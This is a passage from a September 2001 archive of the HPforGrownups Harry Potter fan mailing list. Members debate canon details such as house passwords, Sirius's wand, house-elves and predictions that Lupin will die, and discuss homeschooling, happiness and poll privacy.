>of the gang too? McGonagall and
>Dumbledore clearly know Diggle and his
>things, so he might be something
>important too, what do you think?

I hadn't really thought of it before but I think you might be on to
something.

* Dedalus Diggle bowed to Harry in a shop once.  Maybe he was watching
over Harry?  

* Also, he just happened to be present when Hagrid took Harry to the
Leaky Cauldron the first time.  Maybe not a coincidence.

I'll be keeping my eye on Diggle.

Kelly the Yarn Junkie

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From heidi.h.tandy.c92 at alumni.upenn.edu  Sun Sep 23 19:13:08 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (heidi.h.tandy.c92 at alumni.upenn.edu)
Date: Sun, 23 Sep 2001 15:13:08 EDT
Subject: 3 H's - Homeschooling; Harry Acronym; Happiness
Message-ID: <132.2064669.28df8e44@aol.com>

No: HPFGUIDX 26562

I had a thought about homeschooling earlier - we know that in the wizarding 
world, people can communicate by having their head suspended in a fireplace - 
I don't know yet if it's possible to do a "broadcast" that way (i.e. one 
person speaking to many at the same time) but if it was, it would be not 
unreasonable for ALL wizarding kids to be schooled at home, because the 
classroom would come to them. A lot of homeschoolers incorporate such things 
these days into their homeschooling - in using the internet to get extra 
educational materials for their kids - more than the parents themselves have 
or know. If teachers can "firetalk" with the kids in their own houses, they 
will be homeschooled, but with some outside tests, grading, etc.

re: a Harry Acronym - his first word in the books is "Nearly" so I tried to 
fit an acronym to that:
Never Ever Attack the Really Loveable Youth (or, Yute if you're living in My 
Cousin Vinny world)

Lame, I know, but I felt like I had to contribute

In terms of Happiness, since I was the one who got Amy to bring the thread 
here, I want to finally put in my 2 sickles. I do think that Remus is likely 
to be higher on the happy side after book 3 than he was before, no matter how 
much he thought he had "recovered" from what he perceived to be sirius' 
betrayall and peter & james' deaths. I also think that in the general scheme 
of things, a lot of the characters are probably "happy" - Hagrid, the twins, 
oliver, bill, charlie, percy, the weasley parents, probably Ginny as well ( I 
do not think of her as moping & pining over harry , day in & day out), 
Crabbe, Goyle - Cedric was as well. 
I think Draco isn't (but that's more based on undercurrents than obvious and 
blinking signs) - but I think that if he can be, sirius is, especially 
because he is THERE for harry in a way that has to bring him contentment. 
Not to want to bring up all the anxiety and misery of the past 2 weeks, but 
can any of us say that we are absolutely happy now? How can we really be, 
when thousands have been killed - all in the space of 75 minutes? But in the 
day to day of living, I have to be, so my son doesn't pick up on the anxiety 
and fear, to make everything as normal as possible for him. 
Didn't JKR say that only unhappy people become ghosts? There's a thick line 
between being unhappy and being happy - and that's probably where most of us 
fall, most of the time. Not active sadness, but a level of contentment and 
non-miserables...



[Non-text portions of this message have been removed]




From heidi.h.tandy.c92 at alumni.upenn.edu  Sun Sep 23 19:15:51 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (heidi.h.tandy.c92 at alumni.upenn.edu)
Date: Sun, 23 Sep 2001 15:15:51 EDT
Subject: [HPforGrownups] Snape
Message-ID: <99.1b17cc6b.28df8ee7@aol.com>

No: HPFGUIDX 26563

In a message dated 9/23/01 3:01:27 PM Eastern Daylight Time, klhurt at yahoo.com 
writes:


> My rationale:  He is head of Slytherin House and the one Slytherin
> password we know is 'pure-blood'.  Since the entrance isn't through a
> portrait, it is my belief that Snape set that password himself.  I also
> 

Why would their entrance work any differently than the other house entrances? 
We actually don't know that the heads of house don't set the password for 
their house - notihing in canon makes it impossible to conclude that Prof. 
McG does the one for Gryffindor - but it's equally possible that the prefects 
do it for each house, and it was a slytherin prefect who chose his house's 
password. 


[Non-text portions of this message have been removed]




From klhurt at yahoo.com  Sun Sep 23 19:35:19 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sun, 23 Sep 2001 12:35:19 -0700 (PDT)
Subject: Sirius's Wand
In-Reply-To: <MABBIOAJAKBIIEFEFANKGEOFCKAA.monika@darwin.inka.de>
Message-ID: <20010923193519.58298.qmail@web14204.mail.yahoo.com>

No: HPFGUIDX 26564

I don't think Sirius had his own wand in PoA, because, in the Shrieking
Shack, when Lupin wanted to get the Trio to listen, he gave them back
their wands and put his own in his belt.  He then said that he and
Sirius were unarmed.  I don't remember any mention of Sirius having any
wand (except Snape's) in this passage.

This also explains why, later, when confronted by the Dementors, Sirius
couldn't conjure a Patronus.

I think that Sirius probably bought himself a wand sometime before GoF
started.  I'm sure an intelligent fellow like Sirius would make it a
priority.

We know from the Wand Weighing Ceremony there are wandmakers in other
countries.  Sirius probably withdrew money from a Gingotts branch in
some unspecified foreign city, bought himself a wand, and *then* headed
for his final destination in the Tropics.

Kelly the Yarn Junkie

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From klhurt at yahoo.com  Sun Sep 23 19:57:21 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sun, 23 Sep 2001 12:57:21 -0700 (PDT)
Subject: Passwords
In-Reply-To: <99.1b17cc6b.28df8ee7@aol.com>
Message-ID: <20010923195721.90298.qmail@web14203.mail.yahoo.com>

No: HPFGUIDX 26565

--- heidi.h.tandy.c92 at alumni.upenn.edu wrote:

>Why would their entrance work any
>differently than the other house
>entrances?

No book handy, but the Slytherin common room entrance was through a
blank wall (polyjuice chapter CoS) not a portrait.

>We actually don't know that the heads
>of house don't set the password for
>their house - notihing in canon makes
>it impossible to conclude that Prof.
>McG does the one for Gryffindor

McGonagall does NOT set them for Gryffindor House.  No book handy, but
Sir Cadogan spent his time challenging people to duels and thinking up
ridiculously difficult passwords which he changed twice a day.  (It was
a list of these Crookshanks stole from Neville.)  Since, Sir C. does,
it follows that the Fat Lady also makes up her own passwords.  (Do you
really think McGonagall or Percy would come up with 'fairy lights' and
'flibbertygibbet'?)

>- but it's equally possible that the
>prefects do it for each house, and it
>was a slytherin prefect who chose his
>house's password.

Even if prefect set it, I don't believe he/she would choose a password
like 'pure-blood' unless he/she knew for sure the Head of House would
be okay with it.

Kelly the Yarn Junkie

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From slomudskipper at yahoo.com  Sun Sep 23 20:47:56 2001
From: slomudskipper at yahoo.com (slomudskipper at yahoo.com)
Date: Sun, 23 Sep 2001 20:47:56 -0000
Subject: PoA Paperback - Percy's engagement - Triwizard Tournament
In-Reply-To: <20010922.224920.-388527.6.mindyatime@juno.com>
Message-ID: <9olhps+1097g@eGroups.com>

No: HPFGUIDX 26566

"Mindy C.L." <mindyatime at j...> wrote:

<Secondly, I am puzzled by something in GoF. When 
Harry arrives at the Burrow and Ron growls by how 
obsessed Percy is about Mr. Crouch, he says, "They 
should be announcing their engagement any day now." 
Oh my gosh, what kind of engagement are they talking 
about? Is this supposed to be sarcasm? A real slash 
romance? Or is there something in BritEnglish I don't 
understand?>

My understanding was that it was meant as sarcasm, and that
Ron was questioning Percy's severe loyalty to Mr. Crouch.

<What do you think would have happened had Harry NOT 
taken part in the Tournament? I know it's a rule that 
once your name comes out of the goblet, you have to 
participate, but nothing terrible would happen if Harry 
would not participate. It could've been dismissed by 
Dumbledore as a mistake, period.> 

Well then the plot would have been a lot less interesting.
But seriously, Dumbledore seemed genuinely concerned about 
how Harry's name got chosen and who might have submitted
his name in the first place, and I think if he could have
kept Harry from participating, he would have.

slomudskipper




From smmy at lineone.net  Sun Sep 23 21:20:49 2001
From: smmy at lineone.net (smmy at lineone.net)
Date: Sun, 23 Sep 2001 21:20:49 -0000
Subject: Sirius' escape
Message-ID: <9oljnh+npn@eGroups.com>

No: HPFGUIDX 26567

Forgive me if this has already been covered.
In POA, Chapter 21, Harry and Hermione are told that Sirius is locked 
in Professor Flitwick's office. After rescueing him through the 
window of the office they then turn round and leave by the door 
(chapter 22). Have I misread something? In what sense is 
Sirius 'locked' in the office?




From empress_dai_gin_kali at yahoo.com  Sun Sep 23 21:45:32 2001
From: empress_dai_gin_kali at yahoo.com (Bethany)
Date: Sun, 23 Sep 2001 14:45:32 -0700 (PDT)
Subject: [HPforGrownups] Sirius' escape
In-Reply-To: <9oljnh+npn@eGroups.com>
Message-ID: <20010923214532.46108.qmail@web11801.mail.yahoo.com>

No: HPFGUIDX 26568


--- smmy at lineone.net wrote:
> Forgive me if this has already been covered.
> In POA, Chapter 21, Harry and Hermione are told that
> Sirius is locked 
> in Professor Flitwick's office. After rescueing him
> through the 
> window of the office they then turn round and leave
> by the door 
> (chapter 22). Have I misread something? In what
> sense is 
> Sirius 'locked' in the office?
> 
::looks around and decides to try delurking::
Hello. I think you just misread something. Hermione
unlocks the window and Sirius squeezes through it onto
the back of Buckbeak (the second time that being
skeletally thin has helped him escape). They they fly
to the top of the West Tower where Harry and Hermione
get off and tell Sirius goodbye. They then leave by
way of the tower door rather than that of Flitwick's
office. I hope that helped you. :)
~Bethany, who has decided that it's much safer to lurk...

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From caliburncy at yahoo.com  Sun Sep 23 21:51:51 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sun, 23 Sep 2001 21:51:51 -0000
Subject: It's All About Harry -- and various other clubs
In-Reply-To: <9okmt4+d8u8@eGroups.com>
Message-ID: <9ollhn+knp7@eGroups.com>

No: HPFGUIDX 26569

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> I tried to post to name a Lupin fan club yesterday, but it didn't 
> post, so I'll tack it onto Luke's comment.  Lupin's problem isn't 
> that people criticize him or dislike him.  It is that people assume 
> he is expendable.

Well, I don't know that the people who predict Lupin will die think so 
 because they assume he is "expendable".  There are three kinds of 
people who die in stories:

1) Bad guys ("Expendable" or prominent character; it doesn't really 
matter)
2) "Expendable" good guys
3) Prominent character good guys

I really think most of those people making these predictions would put 
Lupin in the third category.  His death would be *powerful* and 
heart-wrenching; he wouldn't just serve as (to coin a rather 
disagreeable story-telling slang term) "deadmeat".  It's certainly not 
like he's a "red shirt" (security guard) on Star Trek, beaming down to 
the planet only to be gobbled by some ferocious beast in order that 
one of the main cast doesn't have to be.  No, I don't think it's like 
that at all.  It's in some ways because he's NOT "expendable" that he 
might conceivably die.  It's because violence and death affect those 
we love as much as it does those whom we do not know.  Even in 
stories.  The good ones anyway.

Also see my additional comments below (on the same subject):

--- In HPforGrownups at y..., Penny & Bryce <pennylin at s...> wrote:
> Cindy asked why Lupin seems to be the one pegged to die by many of 
> us. I want to go on record: I don't *want* Lupin to die in OOP.  I > 
base my prediction on the fact that (a) JKR said in some post-GoF > 
interview that there was a death coming in Book 5 that would > 
"half-crucify" her to write, and (b) Lupin is one of her favorite > 
characters.  I suppose though that any of the semi-important > 
characters might be enough to half-crucify JKR, so perhaps Lupin is > 
safe after all.  I fervently hope so but ....

Right.  I think you could be a true Lupin fan and still predict that 
he might die--I don't see how this invalidates your love of Lupin.  
Expecting something to happen and being in favor of it are not the 
same thing.  I personally take the (safe, non-assuming) stance that he 
may die or he may not (at any point, not just in Book 5).

I don't necessarily think that the "half-crucify" statement points any 
more toward Lupin than some other characters.  Characters are the 
author's children and almost *any* death is hard to write.  But of 
course, it does seem more likely to be a beloved character, given the 
intensity of that statement (not to mention that she basically stated 
in no uncertain terms that it would be a beloved character in another 
interview).  But, as you later stated, Penny, there are other beloved 
characters besides Lupin, so we don't really know.  Hagrid (also 
commonly cited by JKR as one of her favorite characters, usually right 
after the trio), for example, also seems to fit all the clues JKR has 
given thus far ("special fan of Harry", etc., etc.).  I'm not saying 
it's Hagrid and not Lupin; I'm saying there's no greater evidence for 
either, or any other of the other possible characters.

So which of us truly knows who will die?  None of us really claim to, 
though we may have our guesses.  "What's coming will come" . . . and 
all that overly-quoted jazz.

Because this is a story (I would obviously never say this in a 
real-life circumstance), I will go on record as saying that I would be 
extremely disappointed (though also relieved, of course) if some of my 
favorite characters *didn't* die.  I wouldn't want this to be a "let's 
kill off the auxillary characters only"-story.  That just wouldn't 
ring true.  A couple people may not like me for saying that (though by 
counter-example, many others may think the same), but regardless 
that's what I think.

-Luke




From caliburncy at yahoo.com  Sun Sep 23 21:53:32 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sun, 23 Sep 2001 21:53:32 -0000
Subject: Lupin fans and possible death predictions
In-Reply-To: <9okmt4+d8u8@eGroups.com>
Message-ID: <9ollks+d77s@eGroups.com>

No: HPFGUIDX 26570

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> I tried to post to name a Lupin fan club yesterday, but it didn't 
> post, so I'll tack it onto Luke's comment.  Lupin's problem isn't 
> that people criticize him or dislike him.  It is that people assume 
> he is expendable.

Well, I don't know that the people who predict Lupin will die think so 
 because they assume he is "expendable".  There are three kinds of 
people who die in stories:

1) Bad guys ("Expendable" or prominent character; it doesn't really 
matter)
2) "Expendable" good guys
3) Prominent character good guys

I really think most of those people making these predictions would put 
Lupin in the third category.  His death would be *powerful* and 
heart-wrenching (it is in fact, for this very reason that you of 
course don't really want to even consider it); he wouldn't just serve 
as (to coin a rather disagreeable story-telling slang term) 
"deadmeat".  It's certainly not like he's a "red shirt" (security 
guard) on Star Trek, beaming down to the planet only to be gobbled by 
some ferocious beast in order that one of the main cast doesn't have 
to be.  No, I don't think it's like that at all.  It's in some ways 
because he's NOT "expendable" that he might conceivably die.  It's 
because violence and death affect those we love as much as it does 
those whom we do not know.  Even in stories.  The good ones anyway.

Also see my additional comments below (on the same subject):

--- In HPforGrownups at y..., Penny & Bryce <pennylin at s...> wrote:
> Cindy asked why Lupin seems to be the one pegged to die by many of 
> us. I want to go on record: I don't *want* Lupin to die in OOP.  I > 
base my prediction on the fact that (a) JKR said in some post-GoF > 
interview that there was a death coming in Book 5 that would > 
"half-crucify" her to write, and (b) Lupin is one of her favorite > 
characters.  I suppose though that any of the semi-important > 
characters might be enough to half-crucify JKR, so perhaps Lupin is > 
safe after all.  I fervently hope so but ....

Right.  I think you could be a true Lupin fan and still predict that 
he might die--I don't see how this invalidates your love of Lupin.  
Expecting something to happen and being in favor of it are not the 
same thing.  I personally take the (safe, non-assuming) stance that he 
may die or he may not (at any point, not just in Book 5).

I don't necessarily think that the "half-crucify" statement points any 
more toward Lupin than some other characters.  Characters are the 
author's children and almost *any* death is hard to write.  But of 
course, it does seem more likely to be a beloved character, given the 
intensity of that statement (not to mention that she basically stated 
in no uncertain terms that it would be a beloved character in another 
interview).  But, as you later stated, Penny, there are other beloved 
characters besides Lupin, so we don't really know.  Hagrid (also 
commonly cited by JKR as one of her favorite characters, usually right 
after the trio), for example, also seems to fit all the clues JKR has 
given thus far ("special fan of Harry", etc., etc.).  I'm not saying 
it's Hagrid and not Lupin; I'm saying there's no greater evidence for 
either, or any other of the other possible characters.

So which of us truly knows who will die?  None of us really claim to, 
though we may have our guesses.  "What's coming will come" . . . and 
all that overly-quoted jazz.

Because this is a story (I would obviously never say this in a 
real-life circumstance), I will go on record as saying that I would be 
extremely disappointed (though also relieved, of course) if some of my 
favorite characters *didn't* die.  I wouldn't want this to be a "let's 
kill off the auxillary characters only"-story.  That just wouldn't 
ring true.  A couple people may not like me for saying that (though by 
counter-example, many others may think the same), but regardless 
that's what I think.

-Luke




From avatar7 at uole.com.ve  Sun Sep 23 22:00:11 2001
From: avatar7 at uole.com.ve (Juan Carlos De La Cruz)
Date: Sun, 23 Sep 2001 18:00:11 -0400
Subject: [HPforGrownups] Re: ADMIN: Privacy issues
In-Reply-To: <008001c142ed$cc4f0e60$534e28d1@oemcomputer>
References: <16a.1419b04.28dcfb3c@aol.com> <008001c142ed$cc4f0e60$534e28d1@oemcomputer>
Message-ID: <01092318001102.30682@sysop>

No: HPFGUIDX 26571


On Date Friday 21 September 2001 06:35, You Wrote:
> You know what people, this is utterly rediculas.  It's a waste of space and
> time to read all you you freaking out over a POLL.  Polls are taken every...
> ...it tells ther server this is a changed awnser and they remove a previous
> vote for bi and add one for homo.  This information is not collected save
> for on the server that holds the polls.  The CIA, RCMP, Scotland Yard, nor
> Interpool is lying in wait for our awnsers.  They are not published nor
> brodcast on late night radio.  No one besides us...cares.
>
> Saitaina
> *****

Well, IMHO, if there is something I think the whole HP saga teaches from it's 
very within, is tolerance, is about being supportive, is about believe in 
yourself, is about standing up for others.
 I am Homosexual. A Gay man, as it's said. That doesn't means I am effeminate 
or swishy, or even worse, a Criminal. I am not ashamed of who I am. I am 
succesful, I can say I feel happy most of the time, I work hard to reach my 
goals and often do so, and I think is mostly because I do believe in myself, 
in who I am, in what I do...

      My couple (Call it boyfriend or however you like it the most) led me 
into the HP thing, I used to think of it as something too childish for a 29 
years old guy to read, but on vacation time had the "audacy" of reading the 
first book, and it ended on me reading int in only one day and hgoing to the 
bookstore the next day to buy me the 4 of them and read them in 3 days tops. 
What did I found in there that made me change my mind so quickly?

Support. Bravery. A Deep message of being true to yourself against all sort 
of things.  A message of tolerance, of diversity, of reaching your inner 
self, accepting it and learning to live with it, in a humble way (As in not 
making a show out of it) but proud (As in walking with yuor head on high 
because you know there is nothing to be fearful about).

       I Know it would be of nobody's business around, but when I first 
realized I was Gay, it took me by assault and gave me a very hard time. It 
took psychatrist and lotsa time to teach myself from scratch the values I 
should have known BY HEART since I was a kid. Part of my hapiness around HP 
is that I 've found SOMEONE is planting that seed now, not only to kids 
(Which, let's face it, are the vast majority of HP readers) but to everyone, 
including us, the so-called "Adults".

          I do work as a SysAdmin at a very large Internet Systems and 
Services provider. I Know how do those polls and stuff works since I make 
systems like those myself. I also know that data is going nowhere, is of no 
use for anyone but us (On a very trivial way based only on curious 
statistics), and that If I format my comp right now and get into it again it 
will show as if I have not voted ever, since the "cookie" is stored at MY 
comp, not at the server. Then who owns the data anyway?

But even bigger.. who owns my rights and my pride? Who am I giving the right 
to scare me to?  I was on that tiny hole once too, afraid of people knowing 
who I was. But then, I feel If I remain in that place RIGHT NOW, AFTER having 
read all them 4 HP books up to now, then my eyes were blind, my mind was 
numb, and I was not able to find the deep meaning in within all of them 
books, then my reading was unfruitful and vane.

THEN I'd be ashamed of myself.  I Know how does it feels, but If I want to 
remain on the tiny hole, I would rather not say a thing nor vote, than to 
complain because I might feel threatened. Dumbledore said something (Excuse 
my not using the very exact words) very similar to what some famous XX 
century politician said once.. "The only thing we have  to fear is fear 
itself". To say that, shows fear. Puts anyone in evidence. Is worth nothing, 
in the end.

And in the end, nobody will care anyway.

My humble two galleons. :)


-- 
------------------------------
Juan Carlos De La Cruz.
DeGoPro.com General Manager.
SysOp.Tech and Op Dept.
IFX Networks Venezuela

Profesionnal Musician and Composer.
Proud Hogwarts student at Ravenclaw.

"Ah, music," Dumbledore said, wiping his eyes.  "A magic beyond all we do
here!"
          -HP and the Sorcerer's Stone



From caliburncy at yahoo.com  Sun Sep 23 22:17:54 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sun, 23 Sep 2001 22:17:54 -0000
Subject: Pre-Hogwarts Education
In-Reply-To: <20010923185332.15083.qmail@web14207.mail.yahoo.com>
Message-ID: <9oln2i+r6t1@eGroups.com>

No: HPFGUIDX 26572

--- In HPforGrownups at y..., Kelly Hurt <klhurt at y...> wrote:
> --- mellienel2 at y... wrote:
> 
> >JKR has said they don't go to schools,
> >they are home-schooled in the basic
> >subjects...
> 
> Reference, please?

Yeah, I'm not so positive about her saying it exactly like this.  In 
the Scholastic interview on October 16, 2000 it reads:

Q: Do wizards and witches have to go [sic] Muggle school before they 
go to Hogwarts?
J.K.: No, they don't have to.

http://www.scholastic.com/harrypotter/author/transcript2.htm

My interpretation of this is that some wizard children go to Muggle 
primary school and some do not (and are probably home-schooled).  But 
mellienel2 has talked about this as though Rowling somewhere said they 
*all* were home-schooled, which I can't remember any evidence for.  
Did I miss it somehow or did you confuse this quote?

-Luke




From rowena_grunnion_ffitch at yahoo.com  Sun Sep 23 22:23:30 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sun, 23 Sep 2001 15:23:30 -0700 (PDT)
Subject: [HPforGrownups] Re: Wizarding Caste System [was: In Defense of Hermione]
In-Reply-To: <9ol99l+ecbi@eGroups.com>
Message-ID: <20010923222330.22809.qmail@web20810.mail.yahoo.com>

No: HPFGUIDX 26573



--- Ebony <ebonyink at hotmail.com> wrote:

   I am arguing Hermione should *listen* to what the
House elves have to say for themselves instead of just
going down there and telling them what *she's* decided
is good for them. 

> but JKR keeps making parallel statements about the
> status of 
> creatures and beings in the magical world in her
> work.  Subjugated 
> house-elves.  Werewolves believed to be dangerous. 
> Giants believed 
> to be bloodthirsty.  JKR's narrative seems to
> critique those who 
> discriminate others because of who or what they are.
>  House-elves are 
> no exception... Dobby's saved Harry's butt a couple
> of times.

    Werewolves *are* dangerous, even Lupin says so.
And giants probably are bloodthirsty, but no more so
then Humans. And House elves really do need to work,
even Dobby says so. 
 
> Another point you made is of concern from a
> historical perspective.  
> It was the position of those who profited from the
> "peculiar 
> institution" that the enslaved were happy in bondage
> as well.

    Which was of course crap and we have plenty of
slave testimony confirming it was crap. No human being
is 'happy' about being a slave. Resigned and making
the best of it yes, happy no. And I can promise you no
group of slaves ever turned hostile at the suggestion
they should be freed. Slave testimony again
demonstrates freedom, with all its problems, was still
considered desirable. Human slaves with few exceptions
wanted to be free. Which is obviously not true of
House elves. 
   I still hold House elves are not Human and
projecting Human needs and desires on them is a
mistake. Hermione, if she really is interested in
improving House elves lot, should find out exactly
what their needs and desires are and work out ways
whereby they can be met while providing them with more
dignity and independence.



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From dasienko at email.com  Sun Sep 23 23:07:56 2001
From: dasienko at email.com (dasienko at email.com)
Date: Sun, 23 Sep 2001 23:07:56 -0000
Subject: Passwords
In-Reply-To: <20010923195721.90298.qmail@web14203.mail.yahoo.com>
Message-ID: <9olq0c+2egq@eGroups.com>

No: HPFGUIDX 26574

> Even if prefect set it, I don't believe he/she would choose a 
password
> like 'pure-blood' unless he/she knew for sure the Head of House 
would
> be okay with it.
> 
**********************************************************************
The HoH may not even know the changing passwords. Any professor may 
have to get into any of the houses, so that there must be a "skeleton"
password for all  faculty members.





From cynthiaanncoe at home.com  Sun Sep 23 23:23:18 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sun, 23 Sep 2001 23:23:18 -0000
Subject: Lupin fans and possible death predictions
In-Reply-To: <9ollks+d77s@eGroups.com>
Message-ID: <9olqt6+erv6@eGroups.com>

No: HPFGUIDX 26575

--- In HPforGrownups at y..., caliburncy at y... wrote:
> Well, I don't know that the people who predict Lupin will die think 
so 
>  because they assume he is "expendable".  There are three kinds of 
> people who die in stories:
> 
> 1) Bad guys ("Expendable" or prominent character; it doesn't really 
> matter)
> 2) "Expendable" good guys
> 3) Prominent character good guys
> 
> I really think most of those people making these predictions would 
put 
> Lupin in the third category.  

I hear you, Luke.  Should I gather from this that you and Penny won't 
be joining D.A.L.I.G.?  :)

There are interesting, moving deaths in a story, and then there are 
deaths that are just way too much to take.  Can't we allow for the 
possibility that some characters can never be killed off?  Like, to 
use your Star Trek example, the main trio in Star Trek?  If so, can 
we possibly shoehorn Lupin and Sirius into that category?

I could live with the deaths of any characters, frankly, except Lupin 
and Sirius.  Ron,  Hermione,  Dumbledore.  All would be tragic, but 
I'd get over it.  But for some reason, Lupin and Sirius would bother 
me a lot more.  I think the reason is that they are more peripheral 
to the main story, therefore they may be at greater risk, therefore I 
worry about them a more.   Also, neither has really had a decent 
chance to live life, so killing them off would be all the more tragic.

Perhaps the only thing we really know for sure is that Harry will 
make it through to the seventh book.  I guess that's one reason I 
really liked GoF.  Even though I "knew" Harry would survive the 
graveyard scene, JKR had me plenty worried.  Maybe that's just plain 
old good writing and plotting.

Anyway, someone else mentioned Ginny as the special fan of Harry's 
who would die.  I could vote for that.

Cindy (who is willing to sacrifice a young girl to keep Lupin and 
Sirius around for a few more books)




From cynthiaanncoe at home.com  Sun Sep 23 23:33:24 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sun, 23 Sep 2001 23:33:24 -0000
Subject: Why Does Krum Catch The Snitch?
Message-ID: <9olrg4+ld8a@eGroups.com>

No: HPFGUIDX 26576

I tried searching to find the answer to this question, and I came up 
empty, although I am sure it has been discussed before.

In GoF, Bulgaria is trailing badly when Krum catches the snitch, 
which gives the victory to Ireland.  F and G win their bet.

But why does Krum catch the snitch when he knows, or ought to know, 
that Bulgaria would lose if he did it?  We have seen Harry hold other 
seekers off of the snitch when he knows his team doesn't have the 
points to win.  JKR must have something in mind here, but I must 
admit that I have completely missed it.  

Can someone straighten me out, please?

Cindy (a little embarrassed that she can't figure this out for 
herself)




From rowena_grunnion_ffitch at yahoo.com  Mon Sep 24 01:01:25 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sun, 23 Sep 2001 18:01:25 -0700 (PDT)
Subject: [HPforGrownups] SCHABB, US/UK/Oz Eng, happiness, morals in HP
In-Reply-To: <001601c1441e$c62f97c0$b6856fcb@price>
Message-ID: <20010924010125.64680.qmail@web20805.mail.yahoo.com>

No: HPFGUIDX 26577



--- Tabouli <tabouli at unite.com.au> wrote:

> Rowena (in reponse to my musings on US/UK 

> As for mistakes in slang going the other way across
> the Atlantic, yep, of course they do.  However, I
> have to insert my own nationalistic grimace here and
> say that efforts of most of the rest of the
> Anglophone world at reproducing Australian English
> are, with few exceptions, painfully inept.  

   I believe it. You people sure have a colorful
vernacular. 

> our accent is *not*
> identical to Cockney

   Definitely not identical but there is some
similarity to those of us for whom both are exotic
dialects. 

> Of course, given that most Australian TV comes from
> the US or UK, Australians are on average pretty
> savvy about the differences between the dialects,
> and can do at least recognisable attempts at
> standard Hollywood American and RP English accents.

    Heath Ledger certainly can.
 
> Americans, in particular, can find the
> way Australians communicate quite (!) disconcerting.

    You can say that again. An Australian co-worker
once put together a little dictionary of common Aussie
slang terms for our bemusement but he was always
careful to speak standard English since he was a very
nice guy and didn't want to confuse us clueless
Americans.

On Happiness:

> By this definition, Dumbledore, though put in sad
> moods by happening such as the Potters' murder,
> Cedric's death and so on, seems at peace with
> himself and his actions.  Self-sufficient, even. I
> can't remember him agonising or cursing himself over
> having done the wrong thing (even though he has on
> various occasions).  

   Well he *is* a hundred and fifty years old. I guess
he's learned not to second guess himself or waste
energy agonizing over things he can't change. 

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From margdean at erols.com  Mon Sep 24 00:27:51 2001
From: margdean at erols.com (Margaret Dean)
Date: Sun, 23 Sep 2001 20:27:51 -0400
Subject: [HPforGrownups] Why Does Krum Catch The Snitch?
References: <9olrg4+ld8a@eGroups.com>
Message-ID: <3BAE7E07.E880AEDF@erols.com>

No: HPFGUIDX 26578

cynthiaanncoe at home.com wrote:
 
> But why does Krum catch the snitch when he knows, or ought to know,
> that Bulgaria would lose if he did it?  We have seen Harry hold other
> seekers off of the snitch when he knows his team doesn't have the
> points to win.  JKR must have something in mind here, but I must
> admit that I have completely missed it.
> 
> Can someone straighten me out, please?

It's Harry himself who explains it, after Ron asks, "What did he
catch the Snitch for?"

	"He knew they were never going to catch up!" Harry
	shouted back over all the noise, also applauding
	loudly.  "The Irish Chasers were too good....  He
	wanted to end it on his terms, that's all...."


--Margaret Dean
  <margdean at erols.com>



From rowena_grunnion_ffitch at yahoo.com  Mon Sep 24 01:17:34 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sun, 23 Sep 2001 18:17:34 -0700 (PDT)
Subject: [HPforGrownups] Pre-Hogwarts - Hermione - Clubs - Cricket
In-Reply-To: <9ok9ru+g1mt@eGroups.com>
Message-ID: <20010924011734.66948.qmail@web20808.mail.yahoo.com>

No: HPFGUIDX 26579



--- Amy Z <aiz24 at hotmail.com> wrote:

Rowena wrote:
> > Nor will I ever forget
> > the expressions of total bewilderment on the faces
> of my American Who Fan Club as we watched the
Cricket
> > game in 'Black Orchid'. Nor did the explanations
> of our British born president help much - Quidditch
is
> > simple by comparison.
> 
> Just to entertain myself recently, I tried to
> explain the rules of 
> baseball to an imaginary passenger
>and just getting
> through the 
> basics was hard, never mind things like the infield
> fly rule and 
> ground rule doubles.  My admiration for Little
> League coaches grows 
> ever greater.

    I'm aware baseball has many elaborate and esoteric
rules *but* at least the object of the game is clear;
you make points by circling the bases and crossing
home ahead of the ball. This is more than one can say
for Cricket - how *do* you make points again?  
    Quidditch also has a fairly simple objective; get
the quaffles through the hoops and catch the snitch.
Even I can grasp that much.
 



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From mellienel2 at yahoo.com  Mon Sep 24 01:32:19 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Mon, 24 Sep 2001 01:32:19 -0000
Subject: Pre-Hogwarts Education
In-Reply-To: <9oln2i+r6t1@eGroups.com>
Message-ID: <9om2f3+77ro@eGroups.com>

No: HPFGUIDX 26580

> My interpretation of this is that some wizard children go to Muggle 
> primary school and some do not (and are probably home-schooled).  
But 
> mellienel2 has talked about this as though Rowling somewhere said 
they 
> *all* were home-schooled, which I can't remember any evidence for.  
> Did I miss it somehow or did you confuse this quote?

she did say it somewhere else, because they asked a followup. 
*Where*? I have no idea. I read them all, and have a memory for 
detail...but where they are, I couldn't tell you.

m.




From usergoogol at yahoo.com  Mon Sep 24 01:32:55 2001
From: usergoogol at yahoo.com (usergoogol at yahoo.com)
Date: Mon, 24 Sep 2001 01:32:55 -0000
Subject: ATTENTION! New database. Ruddy good one too, perhaps.
Message-ID: <9om2g7+bpf7@eGroups.com>

No: HPFGUIDX 26581

Perhaps meaning I'm not sure if Ruddy is the right word to use. None the less, if you want to create an acronym, or list already existing ones, put it in the database. I already but two in. I'm very proud of this one, myself:

J.K.R.O.W.L.I.N.G.

Just keep Ron (or Weasley) living in next grades!

I'm not sure if its an actual group of people, but no doubt there are some people who don't want Ron to be killed off but fear it may be. I'm just proud that I made that I made that acronym. (I started with J.K.R.O.W.L.I.N.G. and then thought of words to fill it up.)

~UserGoogol~
	If anyone wants to give me two sickles, I'd be willing to take it.




From rowena_grunnion_ffitch at yahoo.com  Mon Sep 24 01:35:34 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sun, 23 Sep 2001 18:35:34 -0700 (PDT)
Subject: [HPforGrownups] Harry, Ron, Percy and Dating/Relationships
